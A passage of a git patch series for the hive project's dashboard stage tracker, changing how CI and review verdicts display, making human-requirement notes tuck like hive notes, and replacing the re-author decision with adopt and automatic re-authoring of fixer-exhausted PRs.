''}">${evidenceLink}</span>`; + return `<li class="ham-seg ham-activity-track ${cls}${current ? ' ham-current' : ''}" data-track="${kind}" data-route-state="${esc(routeState)}" data-activity-state="${esc(state)}" data-display-state="${known ? 'known' : 'unknown'}"${verdict ? ` data-verdict="${verdict}"` : ''}${current ? ' aria-current="step"' : ''}${active ? ' data-motion="active"' : ''}${ownsPR ? ` title="${esc(fullTip)}"` : ''} aria-label="${esc(fullTip)}"><span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(fullTip)}" aria-describedby="${esc(tipID)}">${copy}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(fullTip)}${decided ? `<span class="ham-track-context">${decided}</span>` : ''}</span></span></li>`; } // Chevrons for one item. range bounds the columns the item owns (an diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index 57555e2301..1e9f8c1bf2 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -1729,6 +1729,11 @@ .ham-seg.ham-activity-track.done.decided { background: var(--panel-strong); color: var(--muted); box-shadow: none; opacity: 1; animation: none; } /* The count words stay on one line and ellipsize instead of wrapping. */ .ham-chevron-copy.ham-track-state .ham-ico { vertical-align: -2px; margin-right: 3px; } + /* A settled verdict is the glyph alone (green passed / approved, red + failed / changes requested β€” the .done / .failing colours above); + the words live in the tooltip. Same box, same height: only the + trailing gap goes and the stroke firms up so the colour reads. */ + .ham-chevron-copy.ham-track-verdict .ham-ico { margin-right: 0; stroke-width: 2; } .ham-seg.active[data-motion]::before { content: ''; position: absolute; inset: 0; opacity: 0; pointer-events: none; } .ham-seg.active[data-motion="active"]::before { background: white; animation: ham-pulse 1.6s ease-in-out infinite; } .ham-seg.active[data-motion="needs-human"]::before { background: var(--red); animation: ham-breathe-human 2.8s ease-in-out infinite; } @@ -18292,7 +18297,13 @@ <h3 class="faq-group-title">Where to get help</h3> if (!codeFresh) decided = decided.replace(/>(?:Fixing|Remediating)(?=\s|<)/g, '>Fix requested'); const sha7 = item.head ? String(item.head).slice(0, 7) : ''; const lead = current && ownsPR && typeof stageTrackerTrackLead === 'function' ? stageTrackerTrackLead(item) : null; - const word = esc(text); + // A settled verdict (CI passed / failed, review approved / changes + // requested) collapses to its glyph alone in the pass / fail colour; + // the count words move into the tooltip. A glance then says whether + // the track went on to the merge queue or to remediation. Pending, + // running, not-reported and sign-off states keep their words. + const verdict = finished ? 'pass' : finding ? 'fail' : ''; + const word = verdict ? '' : esc(text); const evidenceURL = matches && /^https?:\/\//i.test(String(a.url || '')) ? a.url : ''; const icon = stageTrackerIcon(kind === 'ci' ? 'ci' : 50, 'ham-ico', name); const evidenceLink = ownsPR && evidenceURL ? `<a href="${esc(evidenceURL)}" target="_blank" rel="noopener noreferrer" aria-label="${esc('Open current-head ' + name + ' evidence')}">${icon}${word}</a>` : icon + word; @@ -18304,8 +18315,8 @@ <h3 class="faq-group-title">Where to get help</h3> (hold ? ' Β· ' + (hold.pill || 'Held by @' + hold.by) + (hold.reason ? ' Β· ' + hold.reason : '') : '') + (lead ? ' Β· hive is waiting on ' + lead.waitingOn + (lead.newHead && sha7 ? ' for new head ' + sha7 : '') : ''); const tipID = 'ham-track-tip-' + [item.repo || '', item.kind || '', item.number || 0, kind].map(x => encodeURIComponent(String(x))).join('-'); - const copy = `<span class="ham-chevron-copy ham-track-state">${evidenceLink}</span>`; - return `<li class="ham-seg ham-activity-track ${cls}${current ? ' ham-current' : ''}" data-track="${kind}" data-route-state="${esc(routeState)}" data-activity-state="${esc(state)}" data-display-state="${known ? 'known' : 'unknown'}"${current ? ' aria-current="step"' : ''}${active ? ' data-motion="active"' : ''}${ownsPR ? ` title="${esc(fullTip)}"` : ''} aria-label="${esc(fullTip)}"><span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(fullTip)}" aria-describedby="${esc(tipID)}">${copy}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(fullTip)}${decided ? `<span class="ham-track-context">${decided}</span>` : ''}</span></span></li>`; + const copy = `<span class="ham-chevron-copy ham-track-state${verdict ? ' ham-track-verdict' : ''}">${evidenceLink}</span>`; + return `<li class="ham-seg ham-activity-track ${cls}${current ? ' ham-current' : ''}" data-track="${kind}" data-route-state="${esc(routeState)}" data-activity-state="${esc(state)}" data-display-state="${known ? 'known' : 'unknown'}"${verdict ? ` data-verdict="${verdict}"` : ''}${current ? ' aria-current="step"' : ''}${active ? ' data-motion="active"' : ''}${ownsPR ? ` title="${esc(fullTip)}"` : ''} aria-label="${esc(fullTip)}"><span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(fullTip)}" aria-describedby="${esc(tipID)}">${copy}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(fullTip)}${decided ? `<span class="ham-track-context">${decided}</span>` : ''}</span></span></li>`; } // Chevrons for one item. range bounds the columns the item owns (an @@ -19000,12 +19011,24 @@ <h3 class="faq-group-title">Where to get help</h3> } return out; } + // A human-requirement line is a hive note: it opens, then tucks into + // its ⬑ icon like the "Hive: …" line (stageTrackerHumanNoteHtml, + // tracker-motion). Lifted copies without tracker-motion (tests, + // previews) render the plain row instead. + function stageTrackerHumanContextLine(item, bodyHtml, text, nowMs) { + if (typeof stageTrackerHumanNoteHtml === 'function' && typeof stageTrackerItemKey === 'function') { + return stageTrackerHumanNoteHtml(stageTrackerItemKey(item), bodyHtml, text, nowMs); + } + return `<div class="cue-event ham-human-context"><span>${bodyHtml}</span></div>`; + } function stageTrackerHumanContextHtml(item, stages, nowMs, subRows) { const required = stageTrackerHumanContextOf(item, stages); const lines = required.map(entry => { const it = entry.item; const href = it.url || item.url; - return `<div class="cue-event ham-human-context"><span>${esc(entry.text)}${href ? ` <a href="${esc(href)}" target="_blank" rel="noopener">View ${it.kind === 'pr' ? 'PR' : 'issue'} #${Number(it.number)}</a>` : ''}</span></div>`; + const view = href ? 'View ' + (it.kind === 'pr' ? 'PR' : 'issue') + ' #' + Number(it.number) : ''; + const body = esc(entry.text) + (view ? ` <a href="${esc(href)}" target="_blank" rel="noopener">${view}</a>` : ''); + return stageTrackerHumanContextLine(item, body, entry.text + (view ? ' Β· ' + view : ''), nowMs); }); if (lines.length || !item || item.advisory || item.hold || item.state === 'closed') return lines.join(''); const stale = item.human_attention && !stageTrackerHumanAttentionOf(item); @@ -19013,7 +19036,8 @@ <h3 class="faq-group-title">Where to get help</h3> stageTrackerLinkedPROpen(lp, item) && lp.human_attention && !stageTrackerHumanAttentionOf(stageTrackerLinkedPRItem(item, lp))) : []; if (stale || staleLinks.length) { const refs = staleLinks.length ? staleLinks.map(lp => 'PR #' + lp.number).join(', ') : item.kind === 'pr' ? 'PR #' + item.number : 'Issue #' + item.number; - return `<div class="cue-event ham-human-context"><span>${esc(refs)} Β· decision context unavailable for the displayed identity/head${item.url ? ` Β· <a href="${esc(item.url)}" target="_blank" rel="noopener">View current item</a>` : ''}</span></div>`; + const text = refs + ' Β· decision context unavailable for the displayed identity/head'; + return stageTrackerHumanContextLine(item, esc(text) + (item.url ? ` Β· <a href="${esc(item.url)}" target="_blank" rel="noopener">View current item</a>` : ''), text, nowMs); } const linked = item.kind === 'issue' ? stageTrackerLinkedSorted(item, stages) : []; if (linked.length > 1 || item.kind === 'issue' && (item.linked_prs || []).some(lp => @@ -19029,9 +19053,11 @@ <h3 class="faq-group-title">Where to get help</h3> const who = actor.login ? '@' + actor.login : 'a person'; const prNumber = item.kind === 'issue' && (item.linked_pr || ((item.linked_prs || []).length === 1 && item.linked_prs[0].number)); const target = prNumber ? ' on PR #' + prNumber : ''; - lines.push(`<div class="cue-event ham-human-context"><span>Next move: ${esc(who + target)}${actor.why ? ' β€” ' + esc(actor.why) : ' Β· action reason unavailable'}</span></div>`); + const text = 'Next move: ' + who + target + (actor.why ? ' β€” ' + actor.why : ' Β· action reason unavailable'); + lines.push(stageTrackerHumanContextLine(item, esc(text), text, nowMs)); } else if (claimant && claimant.kind === 'person' && claimant.login) { - lines.push(`<div class="cue-event ham-human-context"><span>Claimed by @${esc(claimant.login)} Β· claim ownership, not a human decision request</span></div>`); + const text = 'Claimed by @' + claimant.login + ' Β· claim ownership, not a human decision request'; + lines.push(stageTrackerHumanContextLine(item, esc(text), text, nowMs)); } if (typeof stageTrackerLeadActionOnRow === 'function' && typeof stageTrackerActionCtx === 'function') { const ctx = stageTrackerActionCtx(item.repo); @@ -19040,7 +19066,8 @@ <h3 class="faq-group-title">Where to get help</h3> ctx.rows = typeof _stageTrackerRows !== 'undefined' ? _stageTrackerRows : null; const action = stageTrackerLeadActionOnRow(item, ctx, subRows); if (action && (action.id === 'decide:delegate' || action.id === 'decide:delegate-all')) { - lines.push('<div class="cue-event ham-human-context"><span>Optional delegation: Let hive decide is available; it does not itself mean human input is required.</span></div>'); + const text = 'Optional delegation: Let hive decide is available; it does not itself mean human input is required.'; + lines.push(stageTrackerHumanContextLine(item, esc(text), text, nowMs)); } } } @@ -19808,6 +19835,7 @@ <h3 class="faq-group-title">Where to get help</h3> const next = stageTrackerStateMap(d && d.items); const ttl = typeof stageTrackerNoteTuckSetting === 'function' && stageTrackerNoteTuckSetting() ? Infinity : STAGE_TRACKER_EVENT_MS; _stageTrackerEvents = stageTrackerEventsNext(_stageTrackerEvents, _stageTrackerStates, next, d && d.stages, nowMs, ttl); + _stageTrackerHumanNotes = stageTrackerHumanNotesNext(_stageTrackerHumanNotes, next); _stageTrackerStates = next; } /* ---- Hive notes: show, then tuck --------------------------------------- @@ -19879,6 +19907,7 @@ <h3 class="faq-group-title">Where to get help</h3> function stageTrackerNoteTitle(ev, nowMs) { if (!ev) return ''; const age = stageTrackerAgoText(ev.at, nowMs); + if (ev.who === 'human') return ev.text + (age ? ' Β· ' + age : ''); return (ev.who === 'you' ? 'You' : 'Hive') + ': ' + ev.text + (age ? ' Β· ' + age : ''); } let _stageTrackerNoteTimer = 0; @@ -19893,7 +19922,7 @@ <h3 class="faq-group-title">Where to get help</h3> // it went hidden (the age keeps counting). const openNow = _stageTrackerNoteHiddenAt || nowMs; for (const p of Array.from(el.querySelectorAll('.cue-event[data-cue-key]'))) { - const ev = _stageTrackerEvents[p.getAttribute('data-cue-key')]; + const ev = stageTrackerNoteEventOf(p.getAttribute('data-cue-key')); const open = !ev || stageTrackerNoteOpen(ev, openNow, auto); if (open) p.classList.remove('cue-event-tucked'); else p.classList.add('cue-event-tucked'); const btn = p.querySelector('.cue-event-ico'); @@ -19904,16 +19933,16 @@ <h3 class="faq-group-title">Where to get help</h3> function stageTrackerNoteSchedule(nowMs) { if (_stageTrackerNoteTimer) { clearTimeout(_stageTrackerNoteTimer); _stageTrackerNoteTimer = 0; } if (document.hidden) return; - const due = stageTrackerNoteNextDue(_stageTrackerEvents, nowMs, stageTrackerNoteTuckSetting()); + const due = stageTrackerNoteNextDue(stageTrackerNoteEventsAll(), nowMs, stageTrackerNoteTuckSetting()); if (due === Infinity) return; _stageTrackerNoteTimer = setTimeout(() => { _stageTrackerNoteTimer = 0; stageTrackerNoteSync(document.getElementById('activity-monitor-panel'), Date.now()); }, due); } // The icon's click (and Enter / Space, it is a button). function stageTrackerNoteToggle(key) { - const ev = _stageTrackerEvents[key]; + const ev = stageTrackerNoteEventOf(key); if (!ev) return; const nowMs = Date.now(); - _stageTrackerEvents[key] = stageTrackerNoteToggled(ev, nowMs, stageTrackerNoteTuckSetting()); + stageTrackerNoteEventSet(key, stageTrackerNoteToggled(ev, nowMs, stageTrackerNoteTuckSetting())); stageTrackerNoteSync(document.getElementById('activity-monitor-panel'), nowMs); } // Hidden tab: stop the clock on every open line; visible again: give @@ -19925,7 +19954,11 @@ <h3 class="faq-group-title">Where to get help</h3> if (_stageTrackerNoteTimer) { clearTimeout(_stageTrackerNoteTimer); _stageTrackerNoteTimer = 0; } return; } - if (_stageTrackerNoteHiddenAt) { _stageTrackerEvents = stageTrackerNoteShift(_stageTrackerEvents, nowMs - _stageTrackerNoteHiddenAt); _stageTrackerNoteHiddenAt = 0; } + if (_stageTrackerNoteHiddenAt) { + _stageTrackerEvents = stageTrackerNoteShift(_stageTrackerEvents, nowMs - _stageTrackerNoteHiddenAt); + _stageTrackerHumanNotes = stageTrackerNoteShift(_stageTrackerHumanNotes, nowMs - _stageTrackerNoteHiddenAt); + _stageTrackerNoteHiddenAt = 0; + } stageTrackerNoteSync(document.getElementById('activity-monitor-panel'), nowMs); } // The owner's own action writes the row's line at once ("you: approved"). @@ -19942,15 +19975,71 @@ <h3 class="faq-group-title">Where to get help</h3> function stageTrackerEventHtml(key, ctx) { const ev = ctx && ctx.events ? ctx.events[key] : null; if (!ev) return ''; + const who = ev.who === 'you' ? 'You' : ev.who === 'merge' ? 'Merge' : 'Hive'; + const body = `<span class="cue-event-who">${esc(who)}:</span> <span class="cue-event-text">${esc(ev.text)}</span> <span class="cue-event-age" data-at="${ev.at}"></span>`; + return stageTrackerNoteLineHtml(key, ev, ctx, body, ''); + } + // Pure: one note line β€” the shared shape behind the hive line and the + // human-requirement line, so both open, tuck and re-open the same way. + function stageTrackerNoteLineHtml(key, ev, ctx, body, extraClass) { const nowMs = ctx && typeof ctx.nowMs === 'number' ? ctx.nowMs : Date.now(); const auto = ctx && typeof ctx.noteTuck === 'boolean' ? ctx.noteTuck : (typeof stageTrackerNoteTuckSetting === 'function' && stageTrackerNoteTuckSetting()); const fading = !auto && nowMs - stageTrackerEventShownAt(ev) > STAGE_TRACKER_EVENT_MS * 2 / 3; const open = !auto || stageTrackerNoteOpen(ev, nowMs, auto); - const who = ev.who === 'you' ? 'You' : ev.who === 'merge' ? 'Merge' : 'Hive'; - const body = `<span class="cue-event-who">${esc(who)}:</span> <span class="cue-event-text">${esc(ev.text)}</span> <span class="cue-event-age" data-at="${ev.at}"></span>`; - if (!auto) return `<p class="cue-event${fading ? ' cue-event-fading' : ''}" data-cue-key="${esc(key)}">${body}</p>`; + const cls = extraClass ? ' ' + extraClass : ''; + if (!auto) return `<p class="cue-event${cls}${fading ? ' cue-event-fading' : ''}" data-cue-key="${esc(key)}">${body}</p>`; const ico = `<button type="button" class="cue-event-ico" aria-label="${STAGE_TRACKER_NOTE_LABEL}" aria-expanded="${open ? 'true' : 'false'}" title="${esc(stageTrackerNoteTitle(ev, nowMs))}" data-action="stageTrackerNoteToggle" data-arg0="${esc(key)}" data-stop="1">${STAGE_TRACKER_NOTE_ICON}</button>`; - return `<p class="cue-event cue-event-tuckable${open ? '' : ' cue-event-tucked'}" data-cue-key="${esc(key)}">${ico}<span class="cue-event-body">${body}</span></p>`; + return `<p class="cue-event cue-event-tuckable${cls}${open ? '' : ' cue-event-tucked'}" data-cue-key="${esc(key)}">${ico}<span class="cue-event-body">${body}</span></p>`; + } + /* ---- Human-requirement notes ------------------------------------- + "Needs human: …" / "Current blocker: …" (tracker-human-attention) + are hive comments too. #16011 drew them as a static row under the + item so the ask stayed readable; the owner (2026-11-04): "these + things should be hive comments and they should hide (slide-left) + as they used to." They now ride the same show-then-tuck line as the + hive note β€” the row's Let hive decide / Sentinel alert controls keep + the decision state in view after the words tuck. Their own map, + keyed by row and words, remembers when this tab first showed each + line so a re-render never re-opens one already seen; a row leaving + the payload (or its words changing) drops the entry. */ + let _stageTrackerHumanNotes = {}; + function stageTrackerTextHash(text) { + let h = 5381; + for (let i = 0; i < text.length; i++) h = (h * 33 + text.charCodeAt(i)) >>> 0; + return h.toString(36); + } + function stageTrackerHumanNote(rowKey, text, nowMs) { + const key = 'human:' + rowKey + ':' + stageTrackerTextHash(text); + let ev = _stageTrackerHumanNotes[key]; + if (!ev) { ev = { who: 'human', row: rowKey, text, at: nowMs }; _stageTrackerHumanNotes[key] = ev; } + return { key, ev }; + } + // Pure: the human notes still backed by a row in nextStates. + function stageTrackerHumanNotesNext(notes, nextStates) { + const out = {}; + for (const k of Object.keys(notes || {})) if (!nextStates || nextStates[notes[k].row]) out[k] = notes[k]; + return out; + } + // bodyHtml is the line's already-escaped words (with its View link); + // text is the plain words the icon's tooltip and the key use. + function stageTrackerHumanNoteHtml(rowKey, bodyHtml, text, nowMs) { + nowMs = typeof nowMs === 'number' ? nowMs : Date.now(); + const { key, ev } = stageTrackerHumanNote(rowKey, text, nowMs); + const auto = typeof stageTrackerNoteTuckSetting === 'function' && stageTrackerNoteTuckSetting(); + // Auto-collapse off: the old two-minute life and fade, like a hive line. + if (!auto && nowMs - stageTrackerEventShownAt(ev) >= STAGE_TRACKER_EVENT_MS) return ''; + return stageTrackerNoteLineHtml(key, ev, { nowMs, noteTuck: auto }, `<span class="cue-event-text">${bodyHtml}</span> <span class="cue-event-age" data-at="${ev.at}"></span>`, 'ham-human-context'); + } + // A note by key from either map; a toggle writes back to the map it + // came from. + function stageTrackerNoteEventOf(key) { + return _stageTrackerEvents[key] || _stageTrackerHumanNotes[key] || null; + } + function stageTrackerNoteEventSet(key, ev) { + if (_stageTrackerEvents[key]) _stageTrackerEvents[key] = ev; else _stageTrackerHumanNotes[key] = ev; + } + function stageTrackerNoteEventsAll() { + return Object.assign({}, _stageTrackerHumanNotes, _stageTrackerEvents); } const STAGE_TRACKER_CUE_TICK_MS = 15000; function stageTrackerCueAgeSync(el, nowMs) { @@ -20270,7 +20359,7 @@ <h3 class="faq-group-title">Where to get help</h3> // The hive note's open / tucked state is applied in place // (stageTrackerNoteSync), so it is not a reason to swap the node either. function stageTrackerRowSrcKey(html) { - return String(html || '').replace(/ data-ham-prev-col="\d+" data-ham-col="\d+"/g, '').replace(/ cue-event-tucked"/g, '"').replace(/ aria-expanded="(?:true|false)"/g, '').replace(/ title="(?:You|Hive): [^"]*" data-action="stageTrackerNoteToggle"/g, ' data-action="stageTrackerNoteToggle"'); + return String(html || '').replace(/ data-ham-prev-col="\d+" data-ham-col="\d+"/g, '').replace(/ cue-event-tucked"/g, '"').replace(/ aria-expanded="(?:true|false)"/g, '').replace(/ title="[^"]*" data-action="stageTrackerNoteToggle"/g, ' data-action="stageTrackerNoteToggle"'); } // Pure: whether the stamped move attributes name this strip. function stageTrackerRowHasMove(html) { return / data-ham-prev-col="\d+"/.test(String(html || '')); } diff --git a/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js b/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js index ab020815a5..25644876b6 100644 --- a/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js +++ b/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js @@ -231,6 +231,10 @@ // the glyph alone. const words = cell.querySelector('.ham-track-state')?.innerText.trim() || ''; if (cell.classList.contains('todo')) assert(words === '', name + 'not-started track is icon-only'); + // A settled verdict (passed / failed, approved / changes requested) + // is the glyph alone in its colour; its count words ride in the + // tooltip and accessible label. + else if (cell.dataset.verdict) assert(words === '' && /\b(CI|Review): (CI|Review)\b/.test(cell.getAttribute('aria-label') || ''), name + 'settled verdict is the glyph alone with its words in the label: ' + JSON.stringify(words)); else assert(/^(CI|Review)\b/.test(words), name + 'lit unknown track carries count words, never a bare glyph: ' + JSON.stringify(words)); assert(!!cell.querySelector('svg'), name + 'unknown track retains the column glyph'); assert(!cell.hasAttribute('data-motion'), name + 'unknown cannot animate as observed work'); From 0eac38d73fbfe553e2ae28e976362a0beb508256 Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Wed, 4 Nov 2026 08:05:31 -0500 Subject: [PATCH 67/87] =?UTF-8?q?=E2=9C=A8=20Hive=20re-authors=20its=20own?= =?UTF-8?q?=20fixer-exhausted=20PRs;=20re-author=20pill=20becomes=20adopt?= =?UTF-8?q?=20(#16583)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * ✨ Hive re-authors its own fixer-exhausted PRs; re-author pill becomes adopt Fixes #16582 Engine: a hive-authored PR whose fixer is exhausted is closed as superseded (note, hive/superseded), the issue is labelled hive/re-authored and requeued; the kick asks for a fresh PR with 'Supersedes #<old>'. One automatic re-author per issue (store record + issue label); a second exhaustion parks at 085 with direction / hand to a person / close as not planned. Dashboard: decide:re-author removed; DCO/exhausted contributor PRs offer decide:adopt 'Adopt as hive PR'. Issue row reads 'Re-authoring Β· superseding #N' (remediation kick) until the fresh hive PR is listed, which carries lineage re-authored β†’ 're-authored from #N'. Signed-off-by: Andrew Anderson <andy@clubanderson.com> * 🌱 Sign-off lead test: the fixer-exhausted lead is Give direction Signed-off-by: Andrew Anderson <andy@clubanderson.com> * 🌱 stagelabels: cover the re-author store record (coverage floor) Signed-off-by: Andrew Anderson <andy@clubanderson.com> --------- Signed-off-by: Andrew Anderson <andy@clubanderson.com> Co-authored-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- changelog.d/added-16582-hive-auto-reauthor.md | 1 + src/pkg/dashboard/stage_tracker_build.go | 1 + src/pkg/dashboard/stage_tracker_decision.go | 1 - .../stage_tracker_decision_human_merge.go | 14 +- .../dashboard/stage_tracker_decision_pr.go | 30 +-- .../dashboard/stage_tracker_decision_test.go | 16 +- src/pkg/dashboard/stage_tracker_fixer_test.go | 24 ++- .../stage_tracker_lead_action_test.go | 16 +- .../dashboard/stage_tracker_lineage_test.go | 9 + src/pkg/dashboard/stage_tracker_reauthor.go | 175 ++++++++++++++++++ .../dashboard/stage_tracker_reauthor_test.go | 90 +++++++++ .../stage_tracker_row_actions_test.go | 43 +++-- .../stage_tracker_signoff_lead_test.go | 6 +- .../static-src/js/tracker-actions.js | 38 ++-- .../static-src/js/tracker-row-acted.js | 2 +- .../static-src/js/tracker-row-layout.js | 8 +- .../static-src/js/tracker-row-strip.js | 3 + src/pkg/dashboard/static/index.html | 51 +++-- .../automerge_fixer_exhausted_test.go | 107 ++++++++++- .../automerge/automerge_hive_reauthor.go | 149 +++++++++++++++ .../github/automerge/automerge_stage_human.go | 4 +- .../automerge/automerge_stage_labels.go | 48 ++++- src/pkg/scheduler/kick_reauthor_test.go | 27 +++ src/pkg/scheduler/kickmessage.go | 6 + src/pkg/stageengine/derive_pr.go | 5 +- .../derive_pr_fixer_exhausted_test.go | 12 ++ src/pkg/stageengine/facts.go | 7 + src/pkg/stagelabels/fixer_exhausted_test.go | 32 +++- src/pkg/stagelabels/human.go | 49 ++++- src/pkg/stagelabels/reauthor_store_test.go | 74 ++++++++ src/pkg/stagelabels/store.go | 75 ++++++++ 31 files changed, 992 insertions(+), 131 deletions(-) create mode 100644 changelog.d/added-16582-hive-auto-reauthor.md create mode 100644 src/pkg/dashboard/stage_tracker_reauthor.go create mode 100644 src/pkg/dashboard/stage_tracker_reauthor_test.go create mode 100644 src/pkg/github/automerge/automerge_hive_reauthor.go create mode 100644 src/pkg/scheduler/kick_reauthor_test.go create mode 100644 src/pkg/stagelabels/reauthor_store_test.go diff --git a/changelog.d/added-16582-hive-auto-reauthor.md b/changelog.d/added-16582-hive-auto-reauthor.md new file mode 100644 index 0000000000..d4d739f27e --- /dev/null +++ b/changelog.d/added-16582-hive-auto-reauthor.md @@ -0,0 +1 @@ +- The hive re-authors its own fixer-exhausted PRs by itself instead of parking them for a person ([#16582](https://github.com/hivecommons/hive/issues/16582)): the exhausted hive PR is closed as superseded with a note, the issue is labelled `hive/re-authored` and requeued so the next kick opens a fresh PR from the current base (the kick asks for `Supersedes #<old>`). One automatic re-author per issue; a second exhaustion parks at 085 with Give direction / Hand it to a person / Close as not planned. The Activity Monitor words the issue `Re-authoring Β· superseding #N` (remediation evidence `kick`) and the fresh PR's chip `re-authored from #N`. `decide:re-author` is gone from the decision vocabulary: a person's rewrite of a contributor PR (unsigned DCO, exhausted) is `decide:adopt` β€” "Adopt as hive PR"; historical `re-author` ledger entries still read. diff --git a/src/pkg/dashboard/stage_tracker_build.go b/src/pkg/dashboard/stage_tracker_build.go index 8e5297c1b4..efe9cbee22 100644 --- a/src/pkg/dashboard/stage_tracker_build.go +++ b/src/pkg/dashboard/stage_tracker_build.go @@ -555,6 +555,7 @@ func (s *Server) buildStageTracker(status *StatusPayload, store *stagelabels.Sto stageTrackerApplyRemediation(&activityItem, dispatchState, status, stageTrackerFixerAgent(cfg), now) it.CodeActivity, it.Remediation, it.ReviewActivity, it.DisplayColumn, it.Caption = activityItem.CodeActivity, activityItem.Remediation, activityItem.ReviewActivity, activityItem.DisplayColumn, activityItem.Caption } + stageTrackerApplyReauthor(resp.Items, store, status.GitHubBaseURL, now) resp.NeedsHuman, resp.OnHold = stageTrackerHumanCounts(resp.Items) resp.WaitingOnHuman = stageTrackerWaitingOnHuman(resp.Items) resp.IntegrationQueues = s.stageTrackerNativeQueues(now) diff --git a/src/pkg/dashboard/stage_tracker_decision.go b/src/pkg/dashboard/stage_tracker_decision.go index d0b265a974..9d3d30513f 100644 --- a/src/pkg/dashboard/stage_tracker_decision.go +++ b/src/pkg/dashboard/stage_tracker_decision.go @@ -90,7 +90,6 @@ const ( decisionActionCloseWontfix = "decide:close-wontfix" decisionActionMergeNow = "decide:merge-now" decisionActionQueueMerge = "decide:queue-merge" - decisionActionReauthor = "decide:re-author" decisionActionAcceptTriage = "accept-triage" decisionActionHold = "hold" decisionActionRelease = "release" diff --git a/src/pkg/dashboard/stage_tracker_decision_human_merge.go b/src/pkg/dashboard/stage_tracker_decision_human_merge.go index 9c710a2d10..de31729acd 100644 --- a/src/pkg/dashboard/stage_tracker_decision_human_merge.go +++ b/src/pkg/dashboard/stage_tracker_decision_human_merge.go @@ -91,7 +91,7 @@ func decisionForHumanMerge(it StageTrackerItem, held bool) *StageTrackerDecision delegate := decisionDelegateOption(held, "Hive explains and recommends; merges nothing") d.Options = decisionHumanMergeLeadOptions(mergeNow, queue) if it.DCOUnsigned > 0 { - d.Options = append(d.Options, decisionReauthorOption(it, ref, held)) + d.Options = append(d.Options, decisionAdoptSignedOption(it, ref, held)) } d.Options = append(d.Options, delegate, direction, closeSup, closeWontfix, decisionHoldOption(held)) return d @@ -182,7 +182,7 @@ func decisionDCOBlocker(it StageTrackerItem) string { if it.DCOUnsigned <= 0 { return "" } - return fmt.Sprintf("%d of %s no Signed-off-by, so a required DCO check refuses the merge. Re-author as hive PR is the separate choice for that; an Approve never re-authors by itself.", + return fmt.Sprintf("%d of %s no Signed-off-by, so a required DCO check refuses the merge. Adopt as hive PR is the separate choice for that; an Approve never re-authors by itself.", it.DCOUnsigned, pluralCommitsHave(it.DCOTotal)) } @@ -203,19 +203,19 @@ func pluralCommitsHave(total int) string { return "its commits have" } -// decisionReauthorOption is the operator's explicit "re-author as hive PR" +// decisionAdoptSignedOption is the operator's explicit "adopt as hive PR" // choice (hivecommons/hive#15136): the hive re-homes the commits on a // hive-owned, signed-off branch and opens a superseding PR. A person's PR -// is never re-authored by the hive, so for a human author the option is +// is never adopted by the hive, so for a human author the option is // shown disabled with the step that does unblock it. -func decisionReauthorOption(it StageTrackerItem, ref string, held bool) StageTrackerDecisionOption { - o := decisionOption(decisionActionReauthor, "Re-author as hive PR", !held && it.AuthorKind != authorKindHuman, "Release the hold first") +func decisionAdoptSignedOption(it StageTrackerItem, ref string, held bool) StageTrackerDecisionOption { + o := decisionOption(decisionActionAdopt, "Adopt as hive PR", !held && it.AuthorKind != authorKindHuman, "Release the hold first") if it.AuthorKind == authorKindHuman { who := "the author" if it.Author != "" { who = "@" + it.Author } - o.ReasonIfDisabled = "Hive does not re-author a person's PR; ask " + who + " to sign off and push" + o.ReasonIfDisabled = "Hive does not adopt a person's PR; ask " + who + " to sign off and push" } o.Consequence = "Hive reopens " + ref + " as a signed-off hive PR; nothing is merged as-is" return o diff --git a/src/pkg/dashboard/stage_tracker_decision_pr.go b/src/pkg/dashboard/stage_tracker_decision_pr.go index 438c0e3639..0ee6c76d32 100644 --- a/src/pkg/dashboard/stage_tracker_decision_pr.go +++ b/src/pkg/dashboard/stage_tracker_decision_pr.go @@ -91,7 +91,7 @@ func decisionForPR(it StageTrackerItem, verdict *review.Aggregate, sentinelLabel if finding := decisionFixerExhaustedFinding(it, verdict); finding != "" { d.Question += ": " + finding } - d.Question += ". Re-author it from scratch, hand it to a person, or close it as not planned?" + d.Question += ". Give direction, hand it to a person, or close it as not planned?" case verdict != nil && decisionFirstNonEmpty(verdict.HumanSummaries) != "": d.AskedBy = decisionAskedByReviewer d.Question = "A reviewer handed this to a person: " + decisionFirstNonEmpty(verdict.HumanSummaries) @@ -190,7 +190,7 @@ func decisionForPR(it StageTrackerItem, verdict *review.Aggregate, sentinelLabel d.Options = slices.Insert(d.Options, 0, decisionOption(decisionActionAdopt, rebasemerge.OptionAdoptFreshLabel, true, "")) } if fixerExhausted { - d.Options = decisionLeadWithReauthor(d.Options) + d.Options = decisionLeadFixerExhausted(d.Options, it) } if selfHold != nil { // Release leads: it is the one action that answers the question. @@ -269,25 +269,29 @@ func decisionLeadWithCloseSuperseded(opts []StageTrackerDecisionOption, redundan return out } -// decisionLeadWithReauthor puts "Re-author" at the front of opts (the lead -// action for a fixer-exhausted PR, hivecommons/hive#15744) and relabels the -// won't-fix close as "Close as not planned" so it stays in the Decide… -// submenu rather than leading a destructive answer. -func decisionLeadWithReauthor(opts []StageTrackerDecisionOption) []StageTrackerDecisionOption { - lead := decisionOption(decisionActionReauthor, "Re-author", true, "") - lead.Consequence = "The hive opens a fresh PR for the same issue from the current base and closes this one as superseded." +// decisionLeadFixerExhausted shapes the options for a fixer-exhausted PR. +// The hive re-authors its own exhausted PR by itself (once per issue; see +// automerge's reauthorExhaustedHivePR), so no "re-author" answer is +// offered here: a person gives direction (the lead), hands it to someone, +// or closes it as not planned. A contributor's PR may instead be adopted. +func decisionLeadFixerExhausted(opts []StageTrackerDecisionOption, it StageTrackerItem) 